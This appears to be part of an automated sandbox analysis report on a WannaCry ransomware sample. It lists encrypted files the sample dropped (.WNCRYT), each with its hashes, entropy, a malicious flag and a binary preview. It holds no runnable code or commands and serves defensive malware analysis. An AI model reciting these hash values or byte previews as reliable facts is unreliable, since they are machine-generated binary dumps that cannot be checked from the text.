                                                                                                                        Preview:WANACRY!.......y{.7...S6.:g..G[..>..`..7.Q.t....=FB..,...4....i..........bq.Y.....m.?..!....3lr.n....#.^s.o1..4.Z.&;-.o..]..v..g...j2`....,.Q..fKI.X..a..O,i.....M.#.I.yY....r....#.&nN.3...Y9j..w...g.,.....w=o'...3xO.I!P;W....+.M....J.x.....y.,.rCo y....F.8.......`.........].+.q4.9...@..Jj0.t.:.L.i...N.......{OPd.5.$...S.,..-,3....?.,....k.....0.^.......OD.'{J....q..!:.z.&O9x.........L..k.{...L@...$c%4...U.8..G.N.... ...+....-.|...!...>._#..;+S.w..nxb.........^...p*.D.4a.%(..'8...}E..mn..p|..t).Z...C......2}..G...LM~....F.n3F.y+j.1.Gy.".d(.2>C.....k..se+..A.r._.Po../d.".#a...i...F......!.I..D.O.lt...M.34*GL. .T@.+yu..x....(./0.u).p..."...q......Z...8....m...3....!O...f..IL......U(.8mh..g0......:b"......s.Z..@0...x6|...d.(...:EM\. .Se.e.x.1....c...o..:.2..1>.$.B...z.Kh.H.o.....~..0..(x%FMQ._...U....1.....`..jU7.A.,' ......5..{.gi}... A....Z[...B..k..1...6..wi..u..!.c..b....P.s.S.....(.?..?(c..s*$......Oxk.../.K..R...?m.<...(.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4376
                                                                                                                        Entropy (8bit):7.952137800636892
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:ok69nmXOtRw7dzFJXPXAY8wgV7p9F3OQ0/GgNVW0/x87IV/m8PBu:4drQXXfb2H9XxgN00Y4mUu
                                                                                                                        MD5:3D09A51A2E92F1A19DEEE97F5C5C7E25
                                                                                                                        SHA1:A2C656000C256F933F5B5F9EEFD3F2B4834137AB
                                                                                                                        SHA-256:EF18B8AFF01AC2EA1DB61C09A1F7B7044DABA1C193F97EE30A61F933507B9E1E
                                                                                                                        SHA-512:A1403A0786BF09E5440AFCCD216D0F88FEE3C262D34F5B257B7CB1203CCD5F359A0B41245B9DA841F9B274C84FBCF681D81BFFC9D1B6B14CACF923A334900947
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......Jx/..,hk.O6..5...%b.2......@......*.....>/..l7~..2.&....R.7.....Tz`...8~@0_.S.Q.W...Y..89M....f....E..._(.....]......NT.....PE.........S..3vg........G.;.t.B..@...J.."uQ..|F...EwkN...s.......2.u..7.L.@....n..(+._....-...Q..I.$h..l.T,...6....................<..~.U.+.`..;]=.6.C.TG.u......1..<U..W..4....w.D.Q.S.&'..k.V.\U...!....s..U.#.|&...h.T..#C...9+y....4/.U.A0.I".h.?:....L.......`...GJ.=.......c.......>..p..... U..aABa.W;Um.`..Q.v..5.z./^....{Q...*..Wb"c+h..P.....#g..GY.f.._.).E5.C........J...!Y.lF[/U.F..\..U.+..u.EHl.8.. ...<...t.`..=.....3h)..d._QK..S.x.fRq.........$/....\...i.!..d...f......!*..b...r+.F{.n..d2.g.j..?....Q...I.2...W..I.-...>c...|..l...=q.H.......9R.jn....'T........A.v_F..?x....X...z.zv....U.....C`.n....r5..#.."..n..X....LMK....&n.....5.b.......=g..}...G.....v...JD.(.+......b.*..#.9.n....".]../_..Hm....=...2g'.R5k3.....0S.....ha...s<.Le.......m.5...(.-..Tlf2^......j....!3.D3..s.:.n9.v....F....*..

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\OTele\winword.exe.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):24856
                                                                                                                        Entropy (8bit):7.992988236514317
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:fJtzqbBF8srgGC5Y7a6dfovcwVzTQp8SMT:BtzqbB6OgGiYovrTwa
                                                                                                                        MD5:BEE9BF5E62EDF76E1D75E3120BD9A7F3
                                                                                                                        SHA1:A288D3E2E7083B860A6D206BB25A9D809B12F625
                                                                                                                        SHA-256:934756669029DABD41E36B40A3488734BAAB765327C3A8E120ECB64A79306FF7
                                                                                                                        SHA-512:8D3300BCFCD1791387C0BACA136D12B556D94F3D21B2C2872E7E0F3460D0AA846CEAFA16380144A606BF910754DE1852A8EBB1602F0FA63636CE8374F7E51B5C
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....t.H_.(..jeB...[.N......c..Q..JF..S8.>.x.k&^....v@ZZ..u...k...U\.. .g.e..IF.........Jl\....E'...Y2.#.Q.]0L.....q.....+.^.g ...x.T.._.G..*..=....p.../~...pIO...zG..f.7.".T..'.y...).)A.G..K*...8....t.*.YY..5........O..4.6..G..a1....Ra/.......`........6P.N.h9T3.J..i.vd4.mO......h......_.a..h.lMa.........$.).D.~d\ ..+.........>...j..._!........o*.....3[c.....&....A`...=..*.?1..5H.........F....(.X.m.o......Z.J....a.GFM,..`0..v...N.W.J..q..O.8....C....C.0ww.....*....D 1........ .k..&.ZS../.~....F.).1Hq.].q,oG`.4.k.m'.S+.gxz..UK5.x.ea.^oY:F..Q..utM..&v.t*!k%]O...s.GcJ.:...........Q%..kt...t...K..9.s.g..........r..l[Uj.3....q.g.......,...xa.s..2Gp#.M-.....%.E^|.y.M{a....vo.$.......&.+..5..........*..\\....2.....k..w.W.K....Y.8....k..+...z.....t.4M.D ....M...+..t.....&>g.&m%.T...$...;.E.I.s.U_....&.o...8..D,...xH.:..I......o>.a....T.......X....H.p..6.e..6..(L...!..?f."4....i......>K._l.%...F.U..n..i..,.y...lN..(."7

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):16664
                                                                                                                        Entropy (8bit):7.988714916123336
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:MtiPW6hVtJ2l2aMsNAQRbFRP9O+0auyayDVuFY1S8:MEPnhHJ2l2adZLoauuVu4
                                                                                                                        MD5:999D1A6AC461CA82FD8F4BFD70465D29
                                                                                                                        SHA1:4B340622B48998F81C1647E70156C87A090AACDB
                                                                                                                        SHA-256:73F6B4B3F5AB3BB84F231F7275BD48BCF2D55C50E29B7025A222F18DCEA55188
                                                                                                                        SHA-512:03553BEF26A3B1DE0FC69CC2BE7EC58F7D1A37E1541E4AB13465777C199FFEFF2F9033DCCEFFF8AB8B2689AA2585B3FEC93F48A6C48E1FDEC4EE4A7108B8FD56
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......+..#...o.C/. r9)?B..".4{}..dL.....w...:..g.h..,.&H.w......H.I..Y.K..`...v....v......f.....0..w....9#1/.|...O...).......{.?..b.XO..e.. p.[..3....?`.@j...eG....l.ha.}>..K..J...\....K......N.1M9..5Wq..s+&.)....+O@p......._H..e.{C.{.".Y.......@.......g.'.`...`LZ...P._...-..._...F.b .........k..:df.....|........I../K...."..+....J..<].j....+.......l...5.x..L.=.R.2..c.b...l.:.7.o..k.v`P..5.MX.\.`..a....cV..:g.F.......!Y4...........$..: ...Y.~......{>..g.u'$.d.e..Q;.9..a.\0=.....@..b...c...Y..g.M..d......f..e..|...*}u?b...9.]..n.{..p.H....N....}..^.K.j.?....0sV..mv..HD.c......#.t..p...ew.z....Z.v.d.X...$qgu`....U.....Y...a.o.p..it.....W.(...[.c.qM7..x..:..bY......{m..=.[.H. T...;...`.EDa.....~1Z.... .r......o..q...A4.o..x.9.&s..g^j.k..{........[W..D...+U....}$....v$.\.R1..3.j7}...9P.Y[$9./[M.Wv...X.[l...=.._......!...:.fUK.h...,..=&It..C].&..e.s?1.......u.i5my.4.Z..../i{`.8.7....h.^K~.q.|k.......l'wW...g..C.a...

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):16664
                                                                                                                        Entropy (8bit):7.989438255268724
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:pLTFXYkYPqJfCfnkrcDupPzT6yy4nellbIduLowrgyjAUq4kA5lDbc3onhdV:5TFKiJfCswmPzTvy4nellbrLowJEU7lN
                                                                                                                        MD5:3591BB669E9DB8724BA747D010C833DB
                                                                                                                        SHA1:B2BB9FE2ACBBCA8A5459AE014368F0C30A46ED65
                                                                                                                        SHA-256:74723D358F32D757F84C6F26A0B544DAF9F878100E86790947BFBCCC1BA7BA9B
                                                                                                                        SHA-512:15DE9B98B7C0D02621DC7FF375B5289ADDBCE01683ADB719B4E46B2C680F87524F76ED0CEE471A08D3AF862A86A92012E7623A6CB3C599E01DC1670E8E43988B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......`O,.6~.8.xl.5$........S.^....0].[.)...w.......G....P.7....y../.......><.,.t.W.(..4..F..5[.#.....]...K..+.O...M..a~7o.."]8.O..H.".~.[$..F{5o. n..,..p...(Y...,/J..j.yG.v.(d,U....EXD;..+w:.[...h..."P.....LF....+x..`~.......6R....l.9%...... ..7......@.........^{r........o..;.z..b.L...].....i.Y#...9GK..........`T}..slI.7......Q.:+.Pi.T...+.O..$.....S.dCd../>...P.u..6{....b.D.%.F~`....Q..k..!......bk.....M.I.x..tY.z.tpZzP.5..)Z....)..!z.>......$r...2..l..[x....8....`.k.f[.20.sM.h..&.......y.].@R.l^..G.d,.*.......C..8y..Y.X..F..HP......r..(J,...9[..H..;u..Y.-.=x.....G.......9..E.Wv...1.HK...Gs...2.s....P.MR^|m...t...1.*.b.|....X......`@@.../.f..\6.....&F... ..h..(2.4B..gfQ...{.th.......Naf~..t:e.{._1m....Y...K.8.....{S..~.li4.^..]*....$j.w........<.....(..M.rk.=.........La.k.../E...i.....O...umG..6_{...@L]....yj4 R;.N..d..3.w.*hv=)1..~m..."^...'.......0.+...z...nM\..t.........5..iJ".....t3.....BA......>'...O.I..*...t..F....0

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3075AAB0-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):424152
                                                                                                                        Entropy (8bit):7.999572281453373
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:RSx7w0ajfFL/IHvFdPXIaIRAK2tYHEFWMeVfbkOHIv:+7isdP2t22HEFWMeVf4YIv
                                                                                                                        MD5:C02EA449098D7A590458A7EB675896C8
                                                                                                                        SHA1:861B64AB3D7918BC31E4D268339CF770B4B1DB40
                                                                                                                        SHA-256:FF5FE5DBF0BB9D71FDB1D87870339DF046B4468794DA2B647D2FD4AA9016068C
                                                                                                                        SHA-512:7B0ABFA5E0A49C57AB47C95507F08CB1EF0B74CCF71C3A5610A130244754E083462204373C13A5D980D9BE87F36BB53BCA84F22A5EB0D32FCCB80A1767026598
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.......<Z....^.u]-y8T.;),.i..^.gG..E..S..d..hK.8-..>.p\i.8.L~..=Av..fy..]....d...r.T....#G...W'....6a.A..c.'..".t..d&...........ku......Y.4..>.|..p.9Rx8.x..F.....a..x..)R..Qf.^.S..W....m.\.1H......`+L.#.3..pu. ......gB!....p.o..+..{d...W........_j.....w..........\..p..w6S.....x.*.........l/.G.{..*m..Me....#]>....A.{.9vB|......K....3..^<..~..'..E.X*EN..c....'K...0 ..h........_h...C..8....g..Sdv.I...../....5.K..P\.......G...N8. ....}OQ}.rW{..2)....\a.....$..&.ri.j..>.o7....C.#2KE.............1f.j..b.{$r,#...W`%.Jk.FP...Y.s......C8<..O..g..FIP.....;.2.]<..C...!..{..^..y...%....._...L....t.(.P..%......K...V.......Uo!.&.j.me.....p.kt..S.,..?....s.@..rl...=..oo-...lq.{..S...`.......LE.j....6...-#...C.k..QhO...Z.y..:...nl..^..D.,...ux8.....o...q.....5K@....)......H.D..~..sC...t[....j.R..A..b....{.7b.3..Tq....,$...%".hK.A......$h4. .1..P...$1k.o.t.zdYJ.LX...C.l.<.o,mZ....a.@.w.'..)...ne.t..6.....0...L.c........._...=Jj.&.$ ...W...-.g.r<^...

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000003e.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):99608
                                                                                                                        Entropy (8bit):7.998011276453032
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:2PnXMeYow/Rv6nLCPmldForuC/YLMTJOIHrZ/016UmQ8NpUV/xkoUjl36/S:2v1YoI6o0oruOYLMNpZ/E6Og+koUjlqK
                                                                                                                        MD5:D9DAC8A83BCA6BB06CD49E6B4E45D5BE
                                                                                                                        SHA1:511AAB2BB7F9838D791D26A40D3FCD0CC8F1471A
                                                                                                                        SHA-256:0F2B820F07C0378E0F99212AB1215D8043225E957A658D4BEE93F3E7FA1837BA
                                                                                                                        SHA-512:E5A3FF7702ABD3AECB756BB6323C47638EDCECD4D24790389BC8B8B67A0674D70FE4BAD3103F523E10BB2FF26CB074F2C3DD11D43514DF5F2666AFF0C896E065
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!...._Cs..VN.[..T^........ %O.b..cCC8..n. .@.....q=... ..^~...v~..H8[.........1z...L..:HS..i#6PbD#.N....wH%...2.0.<..V.0.d.0...e$...l.x3.W.....f....!.......xB.'.s..]...'.^..KC..w.R.D........0.;.E].&....a.La.z]'\.......V..tk..BM....Pt...Z.x.h.?{D+.B!..............L..%....iu.#|?....].Me....4...e......47+..}.J..................P[Eb.=....9[.}..6.A&..,Q.GQ!=rNb..$/v}........>7.jul....\...jw......[i......h..r.\.X.......nNPF....l.....1.....F.F..2.(Wb.....:...51L8...?.8.4.x......BWJ...~%......X,9aaF...@r.n..tl.Gg..~H\.....z>.d..:k...A..LT.G.V.^.H......n..f.....9V.HP..=@7....'....p.......]b...w+.MG.1`..f.[.....1t......(6..|..Z.d....x..c.X....!.4.A..........e..Q.6..`.ot.&....z.J...........p.O.u.5C..U..j..P...X...J..|L.....!...c.......s1.$....../..[.......A..Op .........6......g..x...B.d..b!.d......u9WR...P.:-E..-._.8a.i..`i........._>..........&....p..bf..O..{..[...z'!.s...&$..L..-Y......{.]..p.}.m[.e..J.s...R....,& `..|\.j...S..4..p.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000035.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):72056
                                                                                                                        Entropy (8bit):7.997863028178873
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:TNtosuWOpKmnylnFK4zvHJyInafiaozmca7VwNLW3JC0cG0e2MsoqU:BOs1OpKmnQ2Ina6vmDhOQxcGfzt
                                                                                                                        MD5:739B6D9CC1B5EB8848A64C87CA33D5B2
                                                                                                                        SHA1:EA11052D6943357EEE20124B8CA5801B4A0E6D22
                                                                                                                        SHA-256:C12FB7B0746356096ED68073D9928948D2D9F4D895BF4A1E15B20A2180D869E4
                                                                                                                        SHA-512:388EB52CFED76F3B23C6A5E6ACFA805F8E40BE286C790AE8316CFB5520804A349765249305766453E0B687D795B1D4BB17362E3F1F4513D7C47CBD3B18EB48DC
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....i.a -d...$.sfY....e.C..........I;...k..+.}W..~..8..1k..A.d.......a,.o..E..)t5B...=..[.Y..._p.A$d!..-.U....w..$.u.-..._..D5.I.$jM.Y0K.)...n8#...&.....0K.......2.6.w....!..-..i..bm._w......<.W..*.V........-.,.f..3.k|...:|.8..I...Z:!Cy.|....`.......0...r..q.P....G...I.j.c..c=........Z..Z5.AA...4..T..l-.7.%BO...e1.hH...Y..+.3........ \.R.x.k5..M..h{..h....#.\.].<S...2.DE.@sL..'.,.......Ua:k4..A\.....~...........s...?..>...^Q..X>..e'..:.w.....&/.z..d,w+D..yZ..T.AAc....'...*..>Xi..aad..JK/..g.\.3.&.t..v.{.K<.<1..\M.,.....8jP.*o#X}....X.....Fr.....RJm.#6.e....y../@..543.....i..R.-...3.U.3N..5|i.h.T..M..]Q...G.5R...m...,..x..g..=e@..j.i.....k.......P.<.MfR....j...+.h*,....5?.1.V..;..........#t..17;o..Q..f Z.O....%X.oNL..21..8.;.....e.G_..'.tr."L..........1..j.......j3....P.%....X.....O$....mia....P[......#imV.z.kI..7.$.....%`.Co...K.s......r.......7cJ.`.;Y.C).b6@...`.LKf>...Y..\Kdk.... ..s...flc.}B....Tsk...3}...'..r...h...KX...}z...r

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000036.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):72056
                                                                                                                        Entropy (8bit):7.997245787411951
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:AE35bpa3i4iapOIPVk8YrI2+qhGUIoRosoir6o9mJzXyNERNUVrWmCFUKP7YKY7:AE5pazpvhxsrn9m0EgVrAUgYKY7
                                                                                                                        MD5:895B9B8CC72CAC8C4C1A7E13EC3C7D4A
                                                                                                                        SHA1:37D12A3677C0C959994928859B13E3AC81AD3025
                                                                                                                        SHA-256:12B3A94F12DD2EFC77595CFE33884D5A64F3EC2A6B610F3D3E3E3049FAEDFA3A
                                                                                                                        SHA-512:7E63BCBDC28B33AE21A33F5133FD5627028E0A86B2E32785039528FCB28A4808ACA48C2EB79B6F0FAD721464A649AF576BB03C001C8ACFD04040EA440EA1EDD1
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....W..(>.d...P......&\.....t...'..J0.qH....3np....u&.....]....]#.....?Se..]..hc..Ek$....1.[..S.`..g..{.6...|^../....G.Te.1../_......g.q......).r...B...."D...V..6....lby../..:.Q4.q.:.cL...Y.p......o...^..7..q.>/.0.LQ...E.^..u#d......R.k......`.............W..@1.|..2..#..g\@jM....Z........R..:...H.....&!.l.@..6.^...oY...&...".....v..D.{.....`.....T.........n..S..8..&X.q......Ko.`.J`KN...ym..>..!o.....g..LSL...P.!..l.Y:o.A..A..?.}.T#..[.D.Q..T>.\....H...3J..gg "J2.....!e.#NbI.Pe./8hz.X...<.-.v..k......$..J.>XP..+....)...\.Dh..6=..E.tI.g....C.4.3q..bL^..=!.;7j1!.0.*:M.......>.........=..S.l..L...I....).2.,RK,.....p$......r.....u.....~..VsF(... Z.F\.....w......mf{...(..o..%9u.~y....Nt.....z6.1..+PY..3.].1[.3Y.d...:.yKD..\...P.s....%.I..'.~.h.l...hW1G."W`.g(@..8....D....4..\g...?.e. 1....1..F\...[Z.N..W^.~.9/.<..K?..\...T.o..:G...k...y~.r.A.3\*..|..-FRk...[...l.....(..Z)..86.p..;.e.z........E.....SR).........A......"$..y.4..ZG.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.211713727138336
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEdkoQZeS7Y6g1xOWXtd89be0wU+wqQLU6+XMDIdp3vsia9uTZb:bkETQ3Y6g7V87h+wqQLU6pwVpTZb
                                                                                                                        MD5:2837F5AED0914C808868AA1CC8E2DA44
                                                                                                                        SHA1:AFAD8EF4B55885253DFF87557AFBA4EEF80DA430
                                                                                                                        SHA-256:78A7299D286E21A22C9572B7943909C640FE37389A457AC5718E3B3C2AE76EF2
                                                                                                                        SHA-512:62EE712C1FE97F8A4FEAB78B740B2E329C780E337097B94940325104B172682ABBFA080577B7652FF65AEED8FDE0FBF767DCEE5138465DFF194CBF3C495196F8
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....P..R*...]%...}.I..o..$...wsO..b..6.reGH{..gE?....EUh......0/.p.q...!J.JFz....u:..)z,.+...?Y...5.6....H.A"H.0.N}~.4X)bC.twN-d.]..n!....:q6.m......S......`C~.K.e....W...q...4=...vi+.$.."...c`..W..f.. .j.w........v....o.....;S....}.l.8.../%...................{;PW...H! .xl.....(...(i.....

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1048856
                                                                                                                        Entropy (8bit):7.999822773184305
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:24576:st2qCDqqQLW1VVEkEAbXcpNlsE6xdXq0iITKALYwhj3aL7JlORWVVNU:GY1AarU/Y2Felj3avJlR+
                                                                                                                        MD5:BE0865AC69A637D07F65EE8A29A17113
                                                                                                                        SHA1:DA1D4EE0D066514B003AB73020293A83A0AA043E
                                                                                                                        SHA-256:E9977D15AB5C91DC8D04776DF602CFFD3B604213CDAC3C9CE8D912AF51434472
                                                                                                                        SHA-512:2DD89A88764BE7F8B68F2E984E8C6983AC190BF079D3DDE69FE6CE0B6C3A9B751C25DE5177804C70648CB3098497C8B3B622EB6425E36C20FE0DCD9E1AAAB576
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....2.....-I..`+..L..Z.(....H.....*W.+:......k...0..K$..7%0...5.)..8....'..S>.*..0.......J......i|).-.6.7.......V.~|..HFt..s.UF..S.{..N#j]..l.../.P.;..ul.Q.L..NC.O.............N.^.....V.O.P@.M3..:......V......].....l.w.W.a.....gjh.k.=N...MnO.x.J............Xq....0...v.....I..*]..N..?.'......G..n..@..`:......?..>,T.]..P.'..}..7%.o.L.p~!..~.z0...%.......}.d.p.....S..s.d.;[... _...>..<n.?.1.7.'..s$..S.....?. .8.y.I.mm.[]..R:.~x....?`..\..y....Z.e.Rs.q...5.a....0..rq..3...>.....K7I..8.uu...S...]...#`.w.d.O.g.?.....?....CF@..`.GO...r08_../......n]D).....oF_.01L.)....X...|.G..........<l.U.}.}.G.....b.3.].N.wH>2....{O......./..s......{.b.IB...'......c...].J.Z......">...MY.{.....'f...m..t..9...:.... ..z..=@..n.....9.[D..O......'2.,.n`.4.Y.~......A].KQ(.p.H.[w.Y..JQOO./.>y;.j........F.....F*6....k..........n...PKX+%K0.`.?#.?b...._.st29!.Y.F.&....p...k.5..#.\.VB...0[j.K....Y.p<....b ..G.b63.@...%..uut.E-;x."....U..._.....p..&ov.....\.D..

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.238986103386204
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkENTs72/jhvojGUguQmBzVGlcYgp192K9nS/HZWkdtR0jd/4g6N1kwehB7:bkEts7Sjl+Vg1aFjnS/5dtRGP6N1fehx
                                                                                                                        MD5:4E5BC42E35A11BA61305057B4EC8FB45
                                                                                                                        SHA1:BB4178C30D2C7A3AABF68DE4E7C7FE666593D6B3
                                                                                                                        SHA-256:BCC98DE3E180785556F466CE775C7103EE57E032727C3DAC2F7D8390B0097E23
                                                                                                                        SHA-512:0860E664DE7D51FBDA36B03D4918A8D2C7E88E340AFBC00DC5A141042A246370891429FED86118F899DA2C7C4E7D659862C47AD1FB0706B0716A7668AA172B26
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......{.O.f.yk.a.baSX....S...ts._.......w.U<........Ze.:......!.....9.3......u.^\.W,..E...z....M.....*5(.:.+.fd...U.A..m.*......~.lG...n^h6..y.X..}%{.I../.X$^...../.......y.eK.....d.....,_......GP.s. ..n... .K......n..hjn.>...... .+....D..o.(............6e.....]R@..eS..3R....;.....M_6{

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5243160
                                                                                                                        Entropy (8bit):7.999967533143327
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:98304:FkCASBlb2GkbDeuyVUVZXUn7qrkk/adoLrzcNQ9EpTi2cnFvm8HFi:FkCAoiZXo7xk/a8kNq9m8li
                                                                                                                        MD5:3C48C1D3B42D2A3759D388DFD490C6B8
                                                                                                                        SHA1:1CB0456E0FF70FE2776A346B857D22B4F39CD8EE
                                                                                                                        SHA-256:A7BFBD1DACDA803BFBE21AFA591DE4B80626E6A4E71500E671B78965146A4C47
                                                                                                                        SHA-512:33CE3BB91D77981AB09C670BC236C8DDDB34A6B1F9C3AECCEA155E34259DC67E9B834B79D44B10CC2E51D108A99ADDD7FD0A9F0EB10216FF70A1B1763EA46B37
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....n...........`.O(.@r..t..6i..$V..N.:.*..-4=.....s^.02...c.hq..t..2:.VF.Gk.$w...x....)Hh.6f.8&.F..$K.!.U..8...J..ihj..Xz.Qj....%...Z.~b....(...?...C-...i.4B.^.}...6].c...7?qq....'.>.;..{.1....Y..?.<.<U...].3....t.q.B..5..#.r...."......]...?$R..}n......P.....V.3.WU.....5.Y.#.t.........?.nr.9........Xm..dEW7...cT..{.N....[Mn..yX....Y.Y..2;..........././......p..y.....%..........&<../p.|n..$.4.n.VCJ.."H..*.Y.J.[(4..I..'-7......Z*C....s('|......Ec..f%W!..l.I.)DW.c....[..TZ|.?..]....zz....@..A4N..m......&p..J..^u0.!..*.<.r.|^.%..pG.0.tc.g....e......Y.....9..#.F/.a.....C.>.!.]..C..L..]5).....Y.Y.Z.1.....4....C...]..y..K.......Z.G.8......B..R7,..>;U.EF..?lTH.b....73[..2)Z....>/..)+..Xxi.~..G...<i.Pz......O..}.3%..j...}.....9.]^..oQH..`...J..,5...4.".C...u.lZ......G..1"...G...&e....6.]}<B|?...........7CW.R..L..3..+p.V.|......G.~....\...n{....}:..-..{(o...7.r...$N...t.T....#.5.@.`.o...GE..:/....+..v...$&..W.)m.....,D.{&.".~.J..F..^.A.U.7

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.146628770450976
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkE58RgDkcJwE9Oxanmr7uD2j4G5QIhl1jPmTdPqg3mODe3ZJhafn:bkE5nVKE9OxanvwCGl1zmdPqgHDe4f
                                                                                                                        MD5:933041BB6F06BC37C7492F729032B37B
                                                                                                                        SHA1:5A8AE874C15D816697FB563D867BB60E72F16A8B
                                                                                                                        SHA-256:792E8B838EE4D67B5479E2E4B274AE7481A67505ED2F82E8C40322F3F1FF7459
                                                                                                                        SHA-512:6F494DE678C08FE110E783297AC32C8E4AA190CB6043B83602AAA03901962C970CCCF1B6E988A7CA09DB31ABA5A684D8965EA32CAE1A4ECB5840562D1AA4046B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....?..........x..8>kW.)*...7u..a.-e....sF...8.......,C.t...$......x<...Wk.L..,M#..B.Q!?...e...|.5.\p.|?.JLdw.~..c....h.8.....]...hoLfYFn.@3?.z:....&.p...].J..'xG.h7...z......u.MA. ..D...C..7..);.....J.o}.C=|nE..;.E....7_...|....ECT...-....mfs..e..a[............A...z...C*>....f.I..C..L.^.h..

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2097432
                                                                                                                        Entropy (8bit):7.999906388370415
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:49152:pwKdOeAI8jWsYpF/JMbxV2wUIDqtd+XajE4FzJ:p/YlVqRpZJMbxV5Ud44j
                                                                                                                        MD5:35C6C014DCAA09EED07A5C82DF9137C7
                                                                                                                        SHA1:BE3AF6D919F6D76245132BBBEADDD57C348C7601
                                                                                                                        SHA-256:EFFB6BAB8860D320866EAA74379E34C159074E547929D9E5FA9CCB5F21A4F84F
